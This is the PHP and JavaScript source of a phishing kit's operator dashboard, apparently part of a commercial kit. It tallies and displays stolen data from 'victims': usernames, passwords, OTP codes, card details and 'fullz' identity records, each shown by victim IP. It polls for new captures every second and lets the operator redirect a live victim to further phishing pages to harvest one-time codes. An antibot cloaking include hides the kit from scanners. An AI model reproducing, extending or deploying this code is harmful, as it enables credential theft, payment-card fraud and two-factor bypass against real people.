<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/antibot.php');
require_once($_SERVER['DOCUMENT_ROOT'].'/admin/config.php');

if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
   include __DIR__ . '/login.php';
   exit();
}


function isOnline($last_seen) {
    return (time() - $last_seen) <= 30;
}

$logs_file = __DIR__ . '/files/logs/all_logs.json';
$totals = [
    'logins' => 0,
    'emails' => 0,
    'fullz' => 0,
    'cards' => 0,
    'codes' => 0,
    'visitors' => 0
];

$logs_data = [];
if (file_exists($logs_file)) {
    $json_str = file_get_contents($logs_file);
    if ($json_str !== false) {
        $json_data = json_decode($json_str, true);
        if (json_last_error() === JSON_ERROR_NONE) {
            $logs_data = $json_data['all_logs'] ?? [];
            $totals['visitors'] = intval($json_data['vistors'] ?? 0);

            if (!empty($logs_data)) {
                $logs_data = array_reverse($logs_data);
            }

            foreach ($logs_data as $victim) {
                if ($config['PAGE_SETTINGS']['LOGIN_PAGE']) {
                    $totals['logins'] += isset($victim['logins']) ? count($victim['logins']) : 0;
                }
                if ($config['PAGE_SETTINGS']['EMAIL_PAGE']) {
                    $totals['emails'] += isset($victim['emails']) ? count($victim['emails']) : 0;
                }
                if ($config['PAGE_SETTINGS']['FULLZ_PAGE']) {
                    $totals['fullz'] += isset($victim['fullz']) ? count($victim['fullz']) : 0;
                }
                if ($config['PAGE_SETTINGS']['CARD_PAGE']) {
                    $totals['cards'] += isset($victim['cards']) ? count($victim['cards']) : 0;
                }
                if ($config['PAGE_SETTINGS']['CODE_PAGE']) {
                    $totals['codes'] += isset($victim['codes']) ? count($victim['codes']) : 0;
                }
            }
        }
    }
}

$config = get_config();
$notification_sound = isset($config['NOTIFICATION_SETTINGS']['sound']) ? $config['NOTIFICATION_SETTINGS']['sound'] : 'sound1.mp3';
$notification_enabled = isset($config['NOTIFICATION_SETTINGS']['enabled']) && $config['NOTIFICATION_SETTINGS']['enabled'] ? true : false;

$antibot_blocked_file = __DIR__ . '/files/blocked/blocked_ips.txt';
$admin_login_blocked_file = __DIR__ . '/files/blocked/admin_login_blocked.txt';
$antibot_blocked_count = file_exists($antibot_blocked_file) ? count(file($antibot_blocked_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES)) : 0;
$admin_login_blocked_count = file_exists($admin_login_blocked_file) ? count(file($admin_login_blocked_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES)) : 0;
?>

<!doctype html>
<html lang="en">
   <head>
      <!-- Required meta tags -->
      <meta charset="utf-8">
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <!--favicon-->
      <link rel="icon" href="assets/images/favicon-32x32.png" type="image/png">
      <!--plugins-->
      <link href="assets/plugins/vectormap/jquery-jvectormap-2.0.2.css" rel="stylesheet">
      <link href="assets/plugins/simplebar/css/simplebar.css" rel="stylesheet">
      <link href="assets/plugins/perfect-scrollbar/css/perfect-scrollbar.css" rel="stylesheet">
      <!-- loader-->
      <link href="assets/css/pace.min.css" rel="stylesheet">
      <script src="assets/js/pace.min.js"></script>
      <!-- Bootstrap CSS -->
      <link href="assets/css/bootstrap.min.css" rel="stylesheet">
      <link href="assets/css/bootstrap-extended.css" rel="stylesheet">
      <link href="../../../css2?family=Roboto:wght@400;500&display=swap" rel="stylesheet">
      <link href="assets/css/app.css" rel="stylesheet">
      <link href="assets/css/icons.css" rel="stylesheet">
      <!-- Theme Style CSS -->
      <link rel="stylesheet" href="assets/css/dark-theme.css">
      <link rel="stylesheet" href="assets/css/semi-dark.css">
      <link rel="stylesheet" href="assets/css/header-colors.css">
      <title>Admin Panel</title>
      <script>
         if (localStorage.getItem('darkMode') === null) {
            localStorage.setItem('darkMode', 'true');
         }
            document.documentElement.className = 'dark-theme';
            window.addEventListener('DOMContentLoaded', function() {
            if (localStorage.getItem('darkMode') === 'true') {
		         $(".dark-mode-icon i").attr("class", "bx bx-sun");
		         $("html").attr("class", "dark-theme");
         } else {
		         $(".dark-mode-icon i").attr("class", "bx bx-moon");
		         $("html").attr("class", "light-theme");
	      }
      });
      </script>
   </head>
   <body>
      <!--wrapper-->
      <div class="wrapper">
         <!--start header wrapper-->	
         <div class="header-wrapper">
            <!--start header -->
            <header>
               <div class="topbar d-flex align-items-center">
                  <nav class="navbar navbar-expand gap-3">
                     <a href="/admin" class="text-decoration-none">
                     <div class="topbar-logo-header d-none d-lg-flex">
                           <div>
                           <h4 class="logo-text">Admin Panel</h4>
                        </div>
                     </div>
                     </a>
                     <div class="mobile-toggle-menu d-block d-lg-none" data-bs-toggle="offcanvas" data-bs-target="#offcanvasNavbar"><i class='bx bx-menu'></i></div>
                     <div class="search-bar flex-grow-1">
                        <div class="position-relative">
                           <input type="text" class="form-control ps-5" id="searchVictims" placeholder="Search victims...">
                           <span class="position-absolute top-50 search-show ms-3 translate-middle-y"><i class='bx bx-search'></i></span>
                        </div>
                     </div>
                     <div class="top-menu ms-auto">
                        <ul class="navbar-nav align-items-center gap-1">
                           <li class="nav-item mobile-search-icon d-flex d-lg-none" data-bs-toggle="modal" data-bs-target="#SearchModal">
                              <a class="nav-link" href="avascript:;"><i class='bx bx-search'></i>
                              </a>
                           </li>
                           <li class="nav-item dark-mode d-none d-sm-flex">
                              <a class="nav-link dark-mode-icon" href="javascript:;"><i class='bx bx-moon'></i>
                              </a>
                           </li>
                        </ul>
                     </div>
                     <div class="user-box dropdown px-3">
                        <a class="d-flex align-items-center nav-link dropdown-toggle gap-3 dropdown-toggle-nocaret" href="#" role="button" data-bs-toggle="dropdown" aria-expanded="false">
                           <img src="assets/images/profile.png" class="user-img" alt="user avatar">
                        </a>
                        <ul class="dropdown-menu dropdown-menu-end">
                           <li><a class="dropdown-item d-flex align-items-center" href="settings.php"><i class="bx bx-cog fs-5"></i><span>Settings</span></a>
                           </li>
                           <li>
                              <div class="dropdown-divider mb-0"></div>
                           </li>
                           <li><a class="dropdown-item d-flex align-items-center" href="logout.php"><i class="bx bx-log-out-circle"></i><span>Logout</span></a>
                           </li>
                        </ul>
                     </div>
                  </nav>
               </div>
            </header>
            <!--end header -->
            <!--navigation-->

            <!--end navigation-->
         </div>
         <!--end header wrapper-->
         <!--start page wrapper -->
         <div class="page-wrapper">
            <div class="page-content">
               <div class="row row-cols-1 row-cols-md-2 row-cols-xl-4">
                  <?php if ($config['PAGE_SETTINGS']['LOGIN_PAGE']): ?>
                  <div class="col">
                     <div class="card radius-10 border-start border-0 border-4 border-info">
                        <div class="card-body">
                           <div class="d-flex align-items-center">
                              <div>
                                 <p class="mb-0 text-secondary">LOGINS</p>
                                 <h4 class="my-1 text-info"><?php echo $totals['logins']; ?></h4>
                              </div>
                              <div class="widgets-icons-2 rounded-circle bg-gradient-blues text-white ms-auto"><i class='bx bx-user'></i>
                              </div>
                           </div>
                        </div>
                     </div>
                  </div>
                  <?php endif; ?>
                  <?php if ($config['PAGE_SETTINGS']['EMAIL_PAGE']): ?>
                  <div class="col">
                     <div class="card radius-10 border-start border-0 border-4 border-success">
                        <div class="card-body">
                           <div class="d-flex align-items-center">
                              <div>
                                 <p class="mb-0 text-secondary">EMAILS</p>
                                 <h4 class="my-1 text-success"><?php echo $totals['emails']; ?></h4>
                              </div>
                              <div class="widgets-icons-2 rounded-circle bg-gradient-success text-white ms-auto"><i class='bx bx-envelope'></i>
                              </div>
                           </div>
                        </div>
                     </div>
                  </div>
                  <?php endif; ?>
                  <?php if ($config['PAGE_SETTINGS']['FULLZ_PAGE']): ?>
                  <div class="col">
                     <div class="card radius-10 border-start border-0 border-4 border-primary">
                        <div class="card-body">
                           <div class="d-flex align-items-center">
                              <div>
                                 <p class="mb-0 text-secondary">FULLZ</p>
                                 <h4 class="my-1 text-primary"><?php echo $totals['fullz']; ?></h4>
                              </div>
                              <div class="widgets-icons-2 rounded-circle bg-gradient-primary text-white ms-auto"><i class='bx bx-user-check'></i>
                              </div>
                           </div>
                        </div>
                     </div>
                  </div>
                  <?php endif; ?>
                  <?php if ($config['PAGE_SETTINGS']['CARD_PAGE']): ?>
                  <div class="col">
                     <div class="card radius-10 border-start border-0 border-4 border-warning">
                        <div class="card-body">
                           <div class="d-flex align-items-center">
                              <div>
                                 <p class="mb-0 text-secondary">CARDS</p>
                                 <h4 class="my-1 text-warning"><?php echo $totals['cards']; ?></h4>
                              </div>
                              <div class="widgets-icons-2 rounded-circle bg-gradient-orange text-white ms-auto"><i class='bx bx-credit-card'></i>
                              </div>
                           </div>
                        </div>
                     </div>
                  </div>
                  <?php endif; ?>
                  <?php if ($config['PAGE_SETTINGS']['CODE_PAGE']): ?>
                  <div class="col">
                     <div class="card radius-10 border-start border-0 border-4 border-danger">
                        <div class="card-body">
                           <div class="d-flex align-items-center">
                              <div>
                                 <p class="mb-0 text-secondary">CODES</p>
                                 <h4 class="my-1 text-danger"><?php echo $totals['codes']; ?></h4>
                              </div>
                              <div class="widgets-icons-2 rounded-circle bg-gradient-danger text-white ms-auto"><i class='bx bx-key'></i>
                              </div>
                           </div>
                        </div>
                     </div>
                  </div>
                  <?php endif; ?>
                  <div class="col">
                     <div class="card radius-10 border-start border-0 border-4 border-secondary">
                        <div class="card-body">
                           <div class="d-flex align-items-center">
                              <div>
                                 <p class="mb-0 text-secondary">UNIQUE VISITORS</p>
                                 <h4 class="my-1 text-secondary"><?php echo $totals['visitors']; ?></h4>
                              </div>
                              <div class="widgets-icons-2 rounded-circle bg-gradient-moonlit text-white ms-auto"><i class='bx bx-walk'></i>
                              </div>
                           </div>
                           <button class="btn btn-sm btn-outline-secondary mt-3 w-100" onclick="clearVisitors()">Clear UNIQUE VISITORS</button>
                        </div>
                     </div>
                  </div>
                  <div class="col">
                     <div class="card radius-10 border-start border-0 border-4 border-dark">
                        <div class="card-body">
                           <div class="d-flex align-items-center">
                              <div>
                                 <p class="mb-0 text-secondary">ANTIBOT BLOCKED</p>
                                 <h4 class="my-1 text-gray"><?php echo $antibot_blocked_count; ?></h4>
                              </div>
                              <div class="widgets-icons-2 rounded-circle bg-gradient-dark text-white ms-auto"><i class='bx bx-shield'></i></div>
                           </div>
                           <button class="btn btn-sm btn-outline-secondary mt-3 w-100" onclick="clearBlocked('antibot')">Clear ANTIBOT BLOCKED</button>
                        </div>
                     </div>
                  </div>
                  <div class="col">
                     <div class="card radius-10 border-start border-0 border-4 border-secondary">
                        <div class="card-body">
                           <div class="d-flex align-items-center">
                              <div>
                                 <p class="mb-0 text-secondary">ADMIN LOGIN BLOCKED</p>
                                 <h4 class="my-1 text-secondary"><?php echo $admin_login_blocked_count; ?></h4>
                              </div>
                              <div class="widgets-icons-2 rounded-circle bg-gradient-secondary text-white ms-auto"><i class='bx bx-lock'></i></div>
                           </div>
                           <button class="btn btn-sm btn-outline-secondary mt-3 w-100" onclick="clearBlocked('admin')">Clear ADMIN LOGIN BLOCKED</button>
                        </div>
                     </div>
                  </div>
               </div>
               <!--end row-->
               <!--end row-->
               <div class="card radius-10">
                  <div class="card-header">
                     <div class="d-flex align-items-center">
                        <div>
                           <h6 class="mb-0">All Victims (<?php echo count($logs_data); ?>)</h6>
                        </div>
                        <div class="ms-auto">
                           <button type="button" class="btn btn-sm btn-danger" onclick="deleteAllVictims()">
                              <i class="bx bx-trash"></i> Delete All
                           </button>
                        </div>
                     </div>
                  </div>
                  <div class="card-body">
                     <div class="table-responsive">
                        <table class="table align-middle mb-0">
                           <thead class="table-light">
                              <tr>
                                 <th>IP</th>
                                 <th>Username</th>
                                 <th>Password</th>
                                 <th>OTP</th>
                                 <th>Current Page</th>
                                 <th>Status</th>
                                 <th>Actions</th>
                              </tr>
                           </thead>
                           <tbody>
                              <?php foreach ($logs_data as $victim): 
    $is_online = isset($victim['last_seen']) && isOnline($victim['last_seen']);
?>
                              <tr>
                                 <td><?php echo htmlspecialchars($victim['ip']); ?></td>
                                 <td><?php echo htmlspecialchars(isset($victim['logins']) && !empty($victim['logins']) ? end($victim['logins'])['username'] : ''); ?></td>
                                 <td><?php echo htmlspecialchars(isset($victim['logins']) && !empty($victim['logins']) ? end($victim['logins'])['password'] : ''); ?></td>
                                 <td><?php echo htmlspecialchars(isset($victim['codes']) && !empty($victim['codes']) ? end($victim['codes'])['code'] : ''); ?></td>
                                 <td><?php echo htmlspecialchars($victim['current_page']); ?></td>
                                 <td>
                                    <span class="badge <?php echo $is_online ? 'bg-success' : 'bg-danger'; ?>">
                                        <?php echo $is_online ? 'Online' : 'Offline'; ?>
                                    </span>
                                 </td>
                                 <td>
                                    <div class="d-flex gap-2">
                                       <a href="/admin/view.php?ip=<?php echo htmlspecialchars($victim['ip'] ?? ''); ?>" target="_blank" class="btn btn-sm btn-primary">View</a>
                                       <?php if ($config['PAGE_SETTINGS']['LOGIN_PAGE']): ?>
                                       <button class="btn btn-sm btn-success" onclick="redirectToLogin('<?php echo htmlspecialchars($victim['ip'] ?? ''); ?>')">Login</button>
                                       <?php endif; ?>
                                       <?php if ($config['PAGE_SETTINGS']['EMAIL_PAGE']): ?>
                                       <button class="btn btn-sm btn-info" onclick="redirectToEmail('<?php echo htmlspecialchars($victim['ip'] ?? ''); ?>')">Email</button>
                                       <?php endif; ?>
                                       <?php if ($config['PAGE_SETTINGS']['FULLZ_PAGE']): ?>
                                       <button class="btn btn-sm btn-secondary" onclick="redirectToFullz('<?php echo htmlspecialchars($victim['ip'] ?? ''); ?>')">Fullz</button>
                                       <?php endif; ?>
                                       <?php if ($config['PAGE_SETTINGS']['CARD_PAGE']): ?>
                                       <button class="btn btn-sm btn-warning" onclick="redirectToCard('<?php echo htmlspecialchars($victim['ip'] ?? ''); ?>')">Card</button>
                                       <?php endif; ?>
                                       <?php if ($config['PAGE_SETTINGS']['CODE_PAGE']): ?>
                                       <button class="btn btn-sm btn-dark" onclick="redirectToCode('<?php echo htmlspecialchars($victim['ip'] ?? ''); ?>')">Code</button>
                                       <?php endif; ?>
                                       <button class="btn btn-sm btn-danger" onclick="deleteVictim('<?php echo htmlspecialchars($victim['ip'] ?? ''); ?>')">Delete</button>
                                    </div>
                                 </td>
                              </tr>
                              <?php endforeach; ?>
                           </tbody>
                        </table>
                     </div>
                  </div>
               </div>
               <!--end row-->
               <!--end row-->
            </div>
         </div>
         <!--end page wrapper -->
         <!-- start overlay-->
         <div class="overlay toggle-icon"></div>
         <!--end overlay-->
         <!--Start Back To Top Button--> <a href="javaScript:;" class="back-to-top"><i class='bx bxs-up-arrow-alt'></i></a>
         <!--End Back To Top Button-->
         


         <footer class="page-footer">
            <p class="mb-0">Copyright 2025. All right reserved - Coded by <a href="https://discord.gg/vEEPUKZt9E" target="_blank">Unicode</a></p>
         </footer>
      </div>
      <!--end wrapper-->
      <!--start switcher-->
      <!--end switcher-->
      <!-- Bootstrap JS -->
      <script src="assets/js/bootstrap.bundle.min.js"></script>
      <!--plugins-->
      <script src="assets/js/jquery.min.js"></script>
      <script src="assets/plugins/simplebar/js/simplebar.min.js"></script>
      <script src="assets/plugins/perfect-scrollbar/js/perfect-scrollbar.js"></script>
      <script src="assets/plugins/vectormap/jquery-jvectormap-2.0.2.min.js"></script>
      <script src="assets/plugins/vectormap/jquery-jvectormap-world-mill-en.js"></script>
      <script src="assets/plugins/chartjs/js/chart.js"></script>
      <script src="assets/js/index.js"></script>
      <!--app JS-->
      <script src="assets/js/app.js"></script>
      <!-- Change the audio element source -->
      <audio id="notificationSound" src="assets/sounds/<?php echo $config['NOTIFICATION_SETTINGS']['sound']; ?>" preload="auto" loop></audio>
      <script>
         let notificationsEnabled = localStorage.getItem('notificationsEnabled') === 'true';
         let soundPlaying = false;

         // Initialize lastUpdate with current data
         let lastUpdate = {
            all_logs: <?php echo json_encode($logs_data); ?>,
            totals: {
               logins: <?php echo $totals['logins']; ?>,
               emails: <?php echo $totals['emails']; ?>,
               fullz: <?php echo $totals['fullz']; ?>,
               cards: <?php echo $totals['cards']; ?>,
               codes: <?php echo $totals['codes']; ?>,
               visitors: <?php echo $totals['visitors']; ?>,
               current_pages: <?php echo json_encode(array_column($logs_data, 'current_page')); ?>
            }
         };

         // Add notification toggle button to header
         document.addEventListener('DOMContentLoaded', function() {
            const topMenu = document.querySelector('.top-menu .navbar-nav');
            const notificationToggle = document.createElement('li');
            notificationToggle.className = 'nav-item d-none d-sm-flex';
            notificationToggle.innerHTML = `
               <a class="nav-link notification-toggle" href="javascript:;" onclick="toggleNotifications()">
                  <i class='bx bx-${notificationsEnabled ? 'volume-full' : 'volume-mute'}'></i>
               </a>
            `;
            topMenu.insertBefore(notificationToggle, topMenu.firstChild);
         });

         function toggleNotifications() {
            notificationsEnabled = !notificationsEnabled;
            localStorage.setItem('notificationsEnabled', notificationsEnabled);
            const icon = document.querySelector('.notification-toggle i');
            icon.className = `bx bx-${notificationsEnabled ? 'volume-full' : 'volume-mute'}`;
            
            const audio = document.getElementById('notificationSound');
            if (!notificationsEnabled && soundPlaying) {
               audio.pause();
               audio.currentTime = 0;
               soundPlaying = false;
            }
         }

         function hasDataChanged(oldData, newData) {
            // Create copies of the data without the fields we want to ignore
            function cleanData(data) {
                if (!data) return data;
                if (Array.isArray(data)) {
                    return data.map(item => cleanData(item));
                }
                if (typeof data === 'object') {
                    const cleaned = {...data};
                    // Don't ignore current_page since we want to track its changes
                    delete cleaned.last_seen;
                    delete cleaned.redirect;
                    delete cleaned.Status;
                    return cleaned;
                }
                return data;
            }
            
            // Special check for current_page changes
            if (Array.isArray(oldData) && Array.isArray(newData)) {
                const oldPages = oldData.map(item => item.current_page || '');
                const newPages = newData.map(item => item.current_page || '');
                if (JSON.stringify(oldPages) !== JSON.stringify(newPages)) {
                    return true;
                }
            }
            
            const cleanedOld = cleanData(oldData);
            const cleanedNew = cleanData(newData);
            const strOld = JSON.stringify(cleanedOld);
            const strNew = JSON.stringify(cleanedNew);
            if (strOld !== strNew) {
                return true;
            }
            return false;
         }

         setInterval(function() {
            $.ajax({
               url: 'check_updates.php',
               method: 'GET',
               success: function(response) {
                  try {
                     const data = JSON.parse(response);
                     let hasUpdates = false;

                     // Check for changes in totals
                     if (data && typeof data.logins !== 'undefined' && data.logins !== lastUpdate.totals.logins) {
                        $('.text-info').text(data.logins);
                        hasUpdates = true;
                     }
                     if (data && typeof data.emails !== 'undefined' && data.emails !== lastUpdate.totals.emails) {
                        $('.text-success').text(data.emails);
                        hasUpdates = true;
                     }
                     if (data && typeof data.fullz !== 'undefined' && data.fullz !== lastUpdate.totals.fullz) {
                        $('.text-primary').text(data.fullz);
                        hasUpdates = true;
                     }
                     if (data && typeof data.cards !== 'undefined' && data.cards !== lastUpdate.totals.cards) {
                        $('.text-warning').text(data.cards);
                        hasUpdates = true;
                     }
                     if (data && typeof data.codes !== 'undefined' && data.codes !== lastUpdate.totals.codes) {
                        $('.text-danger').text(data.codes);
                        hasUpdates = true;
                     }
                     if (data && typeof data.visitors !== 'undefined' && data.visitors !== lastUpdate.totals.visitors) {
                        $('.text-secondary').text(data.visitors);
                        hasUpdates = true;
                     }

                     // Check for current_page changes
                     if (data && data.all_logs && Array.isArray(data.all_logs)) {
                        const currentPages = data.all_logs.map(log => (log && log.current_page) || '');
                        const oldPages = (lastUpdate.all_logs || []).map(log => (log && log.current_page) || '');
                        if (JSON.stringify(currentPages) !== JSON.stringify(oldPages)) {
                           hasUpdates = true;
                        }

                        // Check for any changes in the logs data
                        if (hasDataChanged(lastUpdate.all_logs, data.all_logs)) {
                           const tbody = $('.table tbody');
                           let html = '';
                           // Reverse the array so the last will be first
                           const victims = Array.isArray(data.all_logs) ? [...data.all_logs].reverse() : [];
                           victims.forEach(victim => {
                              if (!victim) return;
                              const onlineStatusTime = <?php echo $config['NOTIFICATION_SETTINGS']['online_status_time'] ?? 30; ?>;
                              const isOnline = victim.last_seen && ((Math.floor(Date.now() / 1000) - victim.last_seen) <= onlineStatusTime);
                              html += `
                                 <tr>
                                    <td>${victim.ip || ''}</td>
                                    <td>${(victim.logins && victim.logins.length > 0) ? victim.logins[victim.logins.length - 1].username : ''}</td>
                                    <td>${(victim.logins && victim.logins.length > 0) ? victim.logins[victim.logins.length - 1].password : ''}</td>
                                    <td>${(victim.codes && victim.codes.length > 0) ? victim.codes[victim.codes.length - 1].code : ''}</td>
                                    <td>${victim.current_page || ''}</td>
                                    <td>
                                       <span class="badge ${isOnline ? 'bg-success' : 'bg-danger'} text-white">
                                          ${isOnline ? 'Online' : 'Offline'}
                                       </span>
                                    </td>
                                    <td>
                                       <div class="d-flex gap-2">
                                          <a href="/admin/view.php?ip=${victim.ip || ''}" target="_blank" class="btn btn-sm btn-primary">View</a>
                                          <?php if ($config['PAGE_SETTINGS']['LOGIN_PAGE']): ?>
                                          <button class="btn btn-sm btn-success" onclick="redirectToLogin('${victim.ip || ''}')">Login</button>
                                          <?php endif; ?>
                                          <?php if ($config['PAGE_SETTINGS']['EMAIL_PAGE']): ?>
                                          <button class="btn btn-sm btn-info" onclick="redirectToEmail('${victim.ip || ''}')">Email</button>
                                          <?php endif; ?>
                                          <?php if ($config['PAGE_SETTINGS']['FULLZ_PAGE']): ?>
                                          <button class="btn btn-sm btn-secondary" onclick="redirectToFullz('${victim.ip || ''}')">Fullz</button>
                                          <?php endif; ?>
                                          <?php if ($config['PAGE_SETTINGS']['CARD_PAGE']): ?>
                                          <button class="btn btn-sm btn-warning" onclick="redirectToCard('${victim.ip || ''}')">Card</button>
                                          <?php endif; ?>
                                          <?php if ($config['PAGE_SETTINGS']['CODE_PAGE']): ?>
                                          <button class="btn btn-sm btn-dark" onclick="redirectToCode('${victim.ip || ''}')">Code</button>
                                          <?php endif; ?>
                                          <button class="btn btn-sm btn-danger" onclick="deleteVictim('${victim.ip || ''}')">Delete</button>
                                       </div>
                                    </td>
                                 </tr>
                              `;
                           });
                           tbody.html(html);
                           hasUpdates = true;
                        } else {
                           // Even if no other data changed, check and update online status
                           // Since the table displays data in reverse order, we need to map the indices correctly
                           const reversedIndex = data.all_logs.length - 1;
                           data.all_logs.forEach((victim, index) => {
                              if (!victim || !victim.last_seen) return;
                              const onlineStatusTime = <?php echo $config['NOTIFICATION_SETTINGS']['online_status_time'] ?? 30; ?>;
                              const isOnline = (Math.floor(Date.now() / 1000) - victim.last_seen) <= onlineStatusTime;
                              // Map the original index to the reversed display index
                              const displayIndex = (data.all_logs.length - 1) - index;
                              const statusBadge = $(`.table tbody tr:eq(${displayIndex}) .badge`);
                              if (statusBadge.length) {
                                 statusBadge.removeClass('bg-success bg-danger')
                                          .addClass(isOnline ? 'bg-success' : 'bg-danger')
                                          .text(isOnline ? 'Online' : 'Offline');
                              }
                           });
                        }
                     }

                     // If any updates, play sound if enabled
                     if (hasUpdates && notificationsEnabled && !soundPlaying) {
                        const audio = document.getElementById('notificationSound');
                        if (audio) {
                           const playPromise = audio.play();
                           if (playPromise !== undefined) {
                              playPromise.then(() => {
                                 soundPlaying = true;
                              }).catch(error => {
                                 if (error.name === 'NotAllowedError') {
                                    console.log('Audio autoplay prevented');
                                 }
                              });
                           }
                        }
                     }

                     // Update stored data
                     if (data && data.all_logs) {
                        lastUpdate = {
                           all_logs: data.all_logs || [],
                           totals: {
                              logins: data.logins || 0,
                              emails: data.emails || 0,
                              fullz: data.fullz || 0,
                              cards: data.cards || 0,
                              codes: data.codes || 0,
                              visitors: data.visitors || 0,
                              current_pages: data.all_logs.map(log => (log && log.current_page) || '')
                           }
                        };
                     }
                  } catch (error) {
                     console.error('Error processing update:', error);
                  }
               },
               error: function(xhr, status, error) {
                  console.error('AJAX error:', status, error);
               }
            });
         }, 1000);
      </script>
      <script>
         document.addEventListener('DOMContentLoaded', function() {
            function searchVictims(searchTerm) {
               searchTerm = searchTerm.toLowerCase();
               const table = document.querySelector('.table');
               const rows = table.querySelectorAll('tbody tr');
               
               rows.forEach(row => {
                  let text = '';
                  row.querySelectorAll('td').forEach(cell => {
                     text += cell.textContent + ' ';
                  });
                  text = text.toLowerCase();
                  
                  if (text.includes(searchTerm)) {
                     row.style.display = '';
                  } else {
                     row.style.display = 'none';
                  }
               });
            }

            // Table search
            const searchInput = document.getElementById('searchVictims');
            if (searchInput) {
               searchInput.addEventListener('keyup', function() {
                  searchVictims(this.value);
               });
            }
         });
      </script>
      <script>
         function redirectToLogin(ip) {
            $.ajax({
               url: 'action.php',
               method: 'POST',
               data: { 
                  action: 'redirect',
                  page: 'login',
                  ip: ip 
               },
               success: function(response) {
                  try {
                     const data = JSON.parse(response);
                     if (data.success) {
                        alert('Victim redirected to Login page successfully!');
                        location.reload();
                     } else {
                        alert('Failed to redirect: ' + (data.error || 'Unknown error'));
                     }
                  } catch (e) {
                     alert('Redirect to Login page successful!');
                     location.reload();
                  }
               },
               error: function() {
                  alert('Failed to redirect victim to login page.');
               }
            });
         }

         function redirectToCard(ip) {
            $.ajax({
               url: 'action.php',
               method: 'POST',
               data: { 
                  action: 'redirect',
                  page: 'card',
                  ip: ip 
               },
               success: function(response) {
                  try {
                     const data = JSON.parse(response);
                     if (data.success) {
                        alert('Victim redirected to Card page successfully!');
                        location.reload();
                     } else {
                        alert('Failed to redirect: ' + (data.error || 'Unknown error'));
                     }
                  } catch (e) {
                     alert('Redirect to Card page successful!');
                     location.reload();
                  }
               },
               error: function() {
                  alert('Failed to redirect victim to card page.');
               }
            });
         }

         function redirectToEmail(ip) {
            $.ajax({
               url: 'action.php',
               method: 'POST',
               data: { 
                  action: 'redirect',
                  page: 'email',
                  ip: ip 
               },
               success: function(response) {
                  try {
                     const data = JSON.parse(response);
                     if (data.success) {
                        alert('Victim redirected to Email page successfully!');
                        location.reload();
                     } else {
                        alert('Failed to redirect: ' + (data.error || 'Unknown error'));
                     }
                  } catch (e) {
                     alert('Redirect to Email page successful!');
                     location.reload();
                  }
               },
               error: function() {
                  alert('Failed to redirect victim to email page.');
               }
            });
         }

         function redirectToFullz(ip) {
            $.ajax({
               url: 'action.php',
               method: 'POST',
               data: { 
                  action: 'redirect',
                  page: 'fullz',
                  ip: ip 
               },
               success: function(response) {
                  try {
                     const data = JSON.parse(response);
                     if (data.success) {
                        alert('Victim redirected to Fullz page successfully!');
                        location.reload();
                     } else {
                        alert('Failed to redirect: ' + (data.error || 'Unknown error'));
                     }
                  } catch (e) {
                     alert('Redirect to Fullz page successful!');
                     location.reload();
                  }
               },
               error: function() {
                  alert('Failed to redirect victim to fullz page.');
               }
            });
         }

         function redirectToCode(ip) {
            $.ajax({
               url: 'action.php',
               method: 'POST',
               data: { 
                  action: 'redirect',
                  page: 'code',
                  ip: ip 
               },
               success: function(response) {
                  try {
                     const data = JSON.parse(response);
                     if (data.success) {
                        alert('Victim redirected to Code page successfully!');
                        location.reload();
                     } else {
                        alert('Failed to redirect: ' + (data.error || 'Unknown error'));
                     }
                  } catch (e) {
                     alert('Redirect to Code page successful!');
                     location.reload();
                  }
               },
               error: function() {
                  alert('Failed to redirect victim to code page.');
               }
            });
         }
      </script>
      <script>
         function deleteVictim(ip) {
            if (confirm('Are you sure you want to delete this victim: ' + ip + '?')) {
               $.ajax({
                  url: 'action.php',
                  method: 'POST',
                  data: { 
                     action: 'delete',
                     ip: ip 
                  },
                  success: function(response) {
                     location.reload();
                  },
                  error: function() {
                     alert('Failed to delete victim.');
                  }
               });
            }
         }

         function deleteAllVictims() {
            if (confirm('Are you sure you want to delete all victims? This action cannot be undone.')) {
               $.ajax({
                  url: 'action.php',
                  method: 'POST',
                  data: { action: 'delete_all' },
                  success: function(response) {
                     location.reload();
                  },
                  error: function() {
                     alert('Failed to delete all victims.');
                  }
               });
            }
         }
      </script>
      <script>
function clearBlocked(type) {
    if (!confirm('Are you sure you want to clear the blocked list?')) return;
    fetch('action.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'action=clear_blocked&type=' + encodeURIComponent(type)
    })
    .then(res => res.json())
    .then(data => { if (data.success) location.reload(); else alert('Failed to clear.'); })
    .catch(() => alert('Failed to clear.'));
}

function clearVisitors() {
    if (!confirm('Are you sure you want to clear the unique visitors count?')) return;
    fetch('action.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'action=clear_visitors'
    })
    .then(res => res.json())
    .then(data => { if (data.success) location.reload(); else alert('Failed to clear visitors.'); })
    .catch(() => alert('Failed to clear visitors.'));
}
</script>
   </body>
</html>